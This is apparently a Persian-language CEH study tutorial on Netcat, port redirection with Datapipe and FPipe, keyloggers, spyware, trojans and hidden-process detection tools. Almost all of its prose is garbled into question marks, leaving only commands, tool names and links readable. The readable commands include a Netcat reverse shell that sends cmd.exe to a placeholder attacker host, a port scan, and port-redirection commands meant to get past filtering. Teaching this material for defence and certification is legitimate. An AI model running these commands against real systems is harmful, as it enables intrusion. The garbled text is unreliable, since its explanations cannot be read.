???? ?????? ???? ??? ????? ?????? ???? CEH ????? ???? ????.
??? Netcat ?? ????? ?????? ?? ????? ????? ??? ????? ???? ???? ?? ????? ?? ?? ??? ?????? ?? ????? ??? ?????????. ????? ??? ???? ?? ????? ????????? (listener) ?? ?? ??????? ?? ????? ??? ??? ????? ??? ????? ???.
nc -n -v -l -p80
?? ????? ??? ???? ????? ??? ?? ?? ????? ?????? ???? ??????.
nc -n hackers_ip 80 -e “cmd.exe”
?? ?? ???? ???? ??? ????? ????? ?????? ?? ?? ?? ????? ??? ??? ???? ??????. Netcat ?? ??????? ???? ???? ????? ?????? ????? ????? ???? ??????? ? ???????? ??????? ??????? ???. ???? ???? ???? ???? ?? ????? ??? ??????? ??????.
nc -v -z -w1 IPaddress 1-1024
??? ????? ?? ???? ???????? ???? ????? ??? ?????????. ????? -v ?? ???? ????? ????? ??????? ?? ???? ?? ????? -z ?? ??? ???????? ??????? ?? ????? ???? ? -w1 ????? ??????? ??? ?? time out ?? ????? ??? ???? ? ?? ???? ??? ??????? ???????? TCP ??? ?? ???? ???????. Datapipe ?? ????? ?????????? ???? ???? ??????? ?????? ? FreeBSB ???. ????? ???? ????? Datapipe ?? ??? ??? ???:
datapipe <localport> <remoteport> <remotehost>
?????? ????? ??? ???? ???? ?? ?? ?????? ??????? ?? ???? ????? ?????????? ?? ?? ???? ???? ???? ? ?????? Datapipe ?? ??? ?? ????? ???????? ???? ???. ???? ??? ???? ???? ?? ???? ??? ??? ?? ????? ??????? ?? ????? (????????) ?? ??????? ?? ?? ???? ??? ???? ????? ????? ???. ???? ??? ??? ?? ???????? ???? ??? ?? ????? ???? ???. ????????? ??? ??? ??????? ???? ??? ???? ????? ?? ?? ???? ??? ?? ????? ???. ???? ?? ??? ???? ??? ?? ????? Datapipe ?? ??? ??? ??????. ?? ?????? ??? ?? ????? ??????? ?? ???? ??? ???? ????? ??????? ???? ?? ????? ??? ?? ???? ???.
datapipe 80 139 10.2.2.2
?? ????? ?? ????? ???? ?????? ??? ????? ??? ?? ???? ??????.
datapipe 139 80 10.2.2.254
?? ?????? ?? ?????? ?? ???? ???. ????? ??????? ???? ???? ??? ???? ????? ? ?? ??????? ?? ?? ?????? ??????? ?? ??? ?? ???? ?????? ?? ?????? ???? ? ?? ????? ?? ??????? ?? ????? ????? ???? ???? ?????? ???? ?? ?? ??? ???? ??? ????? ???. ?? ?? ????? ?????? ??? ???? ?? ?????? ??? ?? ????? ???? ???????? ?????? ???? ??????. ?? ????? ???? ???? Datapipe ????? ?????? ?? ?????? ???? ?? ?????? ??? ? ?? ????? ????? ????? ???? ?? ??? ???? ??? ?????? ???? ???. ?? ??? ????? ?? ??????? ?? ??????? ?? ?? ????? ??? ????? ???????? ??????? ?? ???? ??? ????? ???. FPipe ????? ????? ????? ??? ?? ???? Foundstone ????? ??? ???. ????? ??? ?? ????? ?????????? ???? ????????? ??????? ???. ??? ????? ?? ????? ????? ?????? ??????????? ???????? ?? ??? ?????.
????????? ? ?????????????
????????? (keyloggers) ??????????? ?? ?????????? ?????????? ????? ?? ???? ??? ?? ??? ??????? ???? ??????? ???????. ???? ?? ??? ????????? ????????? ?? ??? ???? ???? ?? ??? ????? ???? ??????? ?????? ??? ?? ????????? ?? ??? ??? ?? ??? ????. ???? ??? ?? ??????? ?? ????? ??????? ????? ????? ??? ??? ?? ???? ??????? ?? ??? ?????? ??????? ??? ?? ??? ????? ????? ???? ? ??? ?????????? ?? ????? ???. ???? ?? ??? ??????? ?????? ??????? ???? ??????? ?? ?? ?? ???? ?????? ?? ??? ????? ? ????? ??? ???? ??? ????? ???????.
???? ?????????? ????????? ???? ?? ????? ???? ?????????? ? ???? ???? ???? ????????. ??? ???? ??? ?? ?????? ??? ?????? ???? ?????? ????? ??? ? ??????? ?? ????? ???? ?? ????? ?? ??????? ?? ???? ????? ?????? ????? ?????? ????? ???. ?? ?? ???? ??????? ???????? ?? ??? ??????? ?? ??? ???. ?? ????? ???? ???? ???? ????????? ??? ???? ??? ????? ?????? ?? ????? ?? ???? ?????.
???????? ???? ???? ?? ????????? ?? ?????? ???? ?? ?????????? ?????? ?????? ??? ?? ?????? ?? ????? ????? ?? ?????? ??????? ???? ????? ????? ??????? ????. ???? ???? ??? ???? ????? ?? ?? ??????? ?????????? ??????? ???????. ??? ????????? ??????? ????? ?? ????? ?? ??? ??? ??? ??? ??? ??? ????? ?? ??? ???????. ?????? ??? ?????????? ?????????? ?? ???? ????????? ????? ???????? ????? ? ???? ?? ??? ????? ????? ???? ???? ????? ???? ????. ??????? ???? ??? ?????? ??? ??? ???????? ??? ?? ?? ???????? ?? ???? ???? ??? ??? ???????? ?????????? ?? ????? ????????? ???? ????? ???? ????? ??????? ????? ?? ?????? ????? ???? ????.
???? ????? ????? ??????? ?? ???? ?????? ????? ????? ????? ?? ???? ??? ??? ??????????? ??? ?????????? ??????? ?? ??????? ????? ???? ?? ?????? ???? ??????? ???? ???? ? ?? ???? ??? ???? ????? ?? ?? ????? ????? ??????? ???? ???? ? ?????? ?????????? ?????? ?????? ?? ????? ???? ?? ????? ?? ??? ???? ?? ???? ?????.
?????????? ??????????
?????????? ?????????? ?????? ?????? ??? ?? ???? ????? ?????? ??????? ???????. ?????????? ?????????? ????????? ?? ??? ?????? ?? ?? ??? ??????? ????. ?????????? ?????? ????????? ?? ???? ?????? ?? ?????? ?????? ?????? ???? ? ??????? ?? ?????? ????. ?? ?????? ?? ?????????? ???? ???? ??????? ????? ??? ???? ????? ??????? ???. ??? ?? ????????? ???? ?????????? ???? KeyGhost ???. ?? ????? ????? ?? ?? ??? ????? ?? ????? ???? ??????? ?????? ? ???? ?? ???? ????????? ?????? KeyGhost Ltd ?? ????? (http://www.keyghost.com) ?? ???? ??????. ??? ?????? ???? ?? ?? ??????? ???? ?? ??? ?????? ?? ? ?? ?????????? ???? ?? ???????? ??? ??????. ??? ????? ?? ????? ????? ???? ?????? ?????? ??????? ???? ??????? ???? ? ???? ??? ?????????? ???? ??????? ????.
?????????? ??????????
????????????? ?? ???? ?????? ?????? ??????? ??????? ?? ??? ?????? ?? ??????? ?? ????? ???? ???? ?????. ?? ???? ?? ???? ?? ????? ????? ?????? ?? ????? ???? ???? ?? ??? ?????? ???? ??????? ?????. ?? ???? ?????????? ????? ?? ????? ??? ??????? ????? ???:
? Spy PC Keylogger: ?? ?????? ??????? ??? ?? ?? ??? ????? ? ?? ?????????? ??? ?????????? ???? ??????. ??? ?????? ?? ?? ????? ??? ???? ?????? ? ????? ??? ???????? ????? ??????? ??????? ???. ??? ???????? ???? ???????? ??? ????????? ???? ??? ?? ???? ?????? ??? ?? ????? ??? ??? ???.
? Ghost Keylogger: Ghost Keylogger ?? ??????? ?????????? ????? ?? ?????? ??? ?? ?????? ???? ???? ??? ???? ????? ?? ???? ?? ???? ????? ???????? ??? ??? ??????. ???? ????? ?? ????? ???? ?? ??? ????? ?????? ?? ???? ?????? ???? ??? ????? ??????.
? Veriato Investigator: ??? ?????? ??????? ???? ??? ?? ??? ????? ?? ???? ?????? ???????????? ?? ?? ?????????? ????????? ???? ??? ????? ??????.
? eBLASTER: ??? ??????? ?? ???? ????? ??????. ??????? ??? ???????? ??? ????? ????????? ?? ??? ???? ??????? ?? ????????? ??? ? ????????? ????? ?? ?? ????? ????? ???? ?? ???? ????? ?? ??? ????? ??? ????? ???.
???????????
???????????? ?????? ??? ????? ?? ????? ???? ????? ?? ??????? ???? ?? ?? ?????? ?????. ??? ????????? ???? ????? ????? ??? ?????? ?? ??? ???????? ?? ??? ????? ????? ?????? ?? ???? ?????????? ????? ??? ??? ?????? ????? ??????????? ?????? ????? ?????? ?? ??????? ?? ??? ??? ???????? ? ?? ??? ?????? ????????? ?????????? ?????? ?? ???????? ???? ?? ?????? ???????. ?????? ???????????? ?????? ?? ?? ???? ???? ????? ???????. ??? ??????????? ????? ?? ????? ??? ??????? ???????:
? ?????: ?? ??? ????? ?????????? ??????? ???????? ?? ????? ???? ??????? ???????? ?? ???? ????? ? ????? ?? ???? ???? ? ?????? ?? ??? ??? ??????? ???????. ?? ????? ??? ??????? ???? ????? ???? ?? ???? ????????? ????? ???????.
? ???????: ???? ?? ??????? ???? ????? ??????? ??? ?? ???????????? ????????????? ?????? ?? ?????? ??????? ?? ???????????? ??? ?? ??? ?????? ??????? ??? ???? ? ?? ????? ??????? ?? ???? ??? ????????. ?????? ????? ?????????? ??????? ????? ???? ???????? ????? ???? ??? ????? ?? ??? ?????? ??? ?? ????? ?? ?????? ???? ????? ?? ???? ????? ????? ????? ???. ??? ????????? ?? ?? ?? ??????? ??????? ?? ???????????? ????? ??? ???? ?? ?????? ??? ?????????????? ?? ??????? ?????. ????? ?????? ???????? ???????????? ? ???????????? ?? ??????? ?????? ???? ?????????? ???????? ??????? ??????? ???????. ?? ???? ???? ?? ????????? ??????????? ?? ?? ?? dropper ???????? ? ?? ??? ??? ????? ???? wrapper ??? ??????? ??????. dropper ?? ?????? ????? ??? ?? ????? ?????? ?? ?????????? ????? ?? ?? ?????? ???????? ????? ??????.
?????????? ?????? ????? ????????? ?? ??????? ?????? ???? ?????????? ?????? ??????? ??????? ???????. ???? ????? ????????????? ??????? ??????? ??? ?????? ???????? ???? ????? ?????? ????? ??????? ?????? ???? ??????? ?????? ???? ????????? ??????? ???? Windows load= ?? run=? ???? Win.ini? Shell-line ?? Win.ini ???? ????????. ???????????? ???? ?? ????? ????????? ???? ??? ???????? ?? ???? ??????? ????? ??? ?? ????? ?????? ?? ??????????? ???????????? ?????? ?????????? ????? ?? ?????? ?? ??? ???????? ?? ????? ?? ??????? ???????? ?????? ????? ??? ? ??????? ????? ??? ???? ????? ?? ????? ?? ????. ??? ?? ?????????? ????? ???? ?? ???????????? ??? ????? ??? ???? ????? ?? ???? hosts ? ???? ????????? ?? ?????? ?? ????? ????? ????? ????? ??????? ? ?? ???? ????? ?? ???????????? ????????? ????????????? ??????? ????.
???? ??? ???? ???? ???? ?? ?????? ??? ?? ?? ????????? ??????? ????? ?? ??????? ???? ?? ??????? ?? ??????? ??? ????? ?? ???? ????. ?? ???? ???????????? ???????? ??????? ?? ????? ??? ????? ???:
? Ad-Aware: http://www.lavasoft.com/
? Microsoft Anti Spyware: https://www.microsoft.com/security/default.aspx
? HiJackThis: https://sourceforge.net/projects/hjt/
? Spybot Search & Destroy: https://www.safer-networking.org/dl/
? SpywareBlaster: http://www.brightfort.com/spywareblaster.html
??????? ?? ????????
??????? ????? ???? ?? ????? ???. ??????? ???? ???? ?? ????? ????? ???? ?????????? ?? ?? ????? ??? ??? ???????? ? ????? ?? ??? ???????? ??? ?? ?????????????? ?? ?? ??? ?????? ?????? ??????. ????? ??? ???? ?? ????? ???? ?????? ???????????? ???? ????. ???? ??????? ???? ?????? ????? ??? ???? ???????? ?? ????????????? ?? ?? ????? ??? ????? ?????? ??????? ??????? ???? ????? ?????.
?????????? ?? ?? ????? ????? ???????? ?????? ??????? ??????. ????? ??? ???? ?? ?? ?????? ?? ???????? ???? ??????? ???????? ?????? ?????? ??? ????. ???????? ?????? ??? ????????? ????? ?? ???? ???????? ?? ????? ??????.
??????????? ???? ?? Tripwire ??? ???? ?????. Tripwire ??? ?? ???? ??????? ?? ???????????? ??????? ?????? ?? ??????? ???? ?????? ????? ?? ????? ???? ??????? ???? ?? ????? ???? ???? ????? ????? ???.
??? ???????? ?? ????? ?? ??? ??????? ?????? ??? ????? ?? ????? ????. ?? ???? ??? ?? ??????? ?????? ???? ?? ??????? ?????? ???? ???? ???? ????????? ??????? ??? ?? ?? ?? ???? ?? ????? ??? ??????? ????? ???:
? ???????? ????? ?? ???? ????.
? ????????? ????? ?? ???? ????.
? ?? ????? ??????? ? ???????? ????? ?????.
? ????????? ??????? ????? ?? ???? ????.
? ???????? ????????? ????? ????????? ?? ???? ????.
? ????????? ????? ?????? ?? ???? ????.
? ?????????? ????????? ????? ?? ???? ????.
????: ???? ??????? ?? ??? ??????? ??????? ????? ??? ?? ?? ??? ?????? ?? ????? ????? ???????? ?????? ???. ??? ????? ????? ???? ?? ???? ?? ???????? ?? ??????? ????? ???? ????? ???? ??????? ????? ???? ???? ?? ????? ????.
??????? ?????????
????? ???????? ? ?????? ?? ????? ??????? ?????????? ???? ?? ????? ? ????? ???? ????? ?? ????? ??? ????? ???? ??? ??????? ????? ????? ?? ???? ???? ? ??????? ????????? ???????? ?? ?????? ????? ???? ????? ????. ?? ????? ????? ?? ??? ?????? ?? ???? ??????? ?? ??? ???? ??? ?? ????? ?? ????? C: \ Windows \ temp \ svchost.exe ???? ???. ?? ????? ???? ?? ??????? ?? Task Manager ??????? ???????? ?????? ?? ????? svchost.exe ?? ???? ??????. ??? ?????????? ?? ??? ???????PID ? PID ???? ?? ???? ???? ???? ???? ?? ????? ???? ?????? ?? ?????????? svchost.exe ???? ?????. ???? ??? ?? PEB ????? Process Environment Block ?? ?? ??? ??????? ???? ?? ???? ???? ?? ?????? ??? ???? ?? ??????? ????. ???? ?? ??? ???? ??? ?? ????????? ?????? ??? ??????? ?? ?? ????????? ??? ????????? ???? ??? ?? ???. ???? ?????? ???????? ?? ?? ?????? ?? ?????? EPROCESS ????? ?? ??? ?? ???? ????? ???? ???? ???? ? ?? ???? nonpaged pool ???? ???? ?????? ??????. ?????? ?? ??? ??????? ?? ???????? ????? ?????? ???? ???? ?? ?? ???? ????? ?? ????? ??? ??????? ????? ???:
? Process Monitor: Process Monitor ???????? ??????? ????? ????? ??? ?????????? ?? ????? ???? ???????? ?? ??? ???. ?????? ????? ?????? ????????? ?? ???? ????? ???? ?????? ??? ??????? ??????? ????.
? Task Manager: ????? ????? ?????? ??? ?? ??????? ????? ?? ???? ???? ????????? ?? ??? ???? ????? ??????.
? Ps: ????? ??????? ??? ???? ????? ????????? ?? ??? ???? ?? ????????? UNIX / Linux ???.
? Netstat: ??????? ???? ????? ?? TCP? ????????? ?? ???????? ?? ?? ??? ???? ?? ????? ???? ????? ????? ?????? ???? ???????? ?????? ????? ????? IPv4 ? ????? ?? ??? ??? ?? ???? ??????. Netstat -an ?????? ?? ???????? ? ????????? ??? ?? ???? ??????.
? CurrPorts: ?????? ??????? ??? ?? ???? ??? ?????? ?? ????????? ?? ??? ???? ??? ?????? ???? ?? ???? ???.
? TCPView: ?? ????? GUI ??? ?? ???? Sysinternals ????? ??? ? ????? ???? ?????????? ???????? ??????. ??? ??????? ????????? ?? ??? ???? ?? ???? ??????.
? Microsoft Computer Management Console: ???????? ???? ????? ?????? ???????? ? ?????? ?????? ???? ??????? ???. ???? ????? ?? ???? ??? ?? ????? run ????? compmgmt.msc ?? ???? ????.
? Process Viewer: ??? ???? ?? ???????? ?????? ??? ?? ??????? ????? ?? ???? ????????? ?? ??? ???? ???? ??????. ????? ????? ?????? ????????? ? ????????? ??????? ??? ?? ???? ??? ????? ???.
? IceSword: ?????? ??? ?? ????????? ????? ?? ????? ?????? ? ????????? ?? ?????? ?? ?? ??? ??????? ?? ???? ??????. ?? ????? ??? ??????? ???? ???? ???? ??????????? ?? ???? ??? ??? ?? ?? ????????? ???? ????? ???????? ??????? ???.
? Regshot: ?? ?????? ????? ??????? ??? ?? ????? ?????? ?? ?????? ???? ???? ?? ???????? ????? ???? ? ?? ??? ??? ??????? ?? ???? ?? ????? ????? ? ??????? ?? ????? ????.
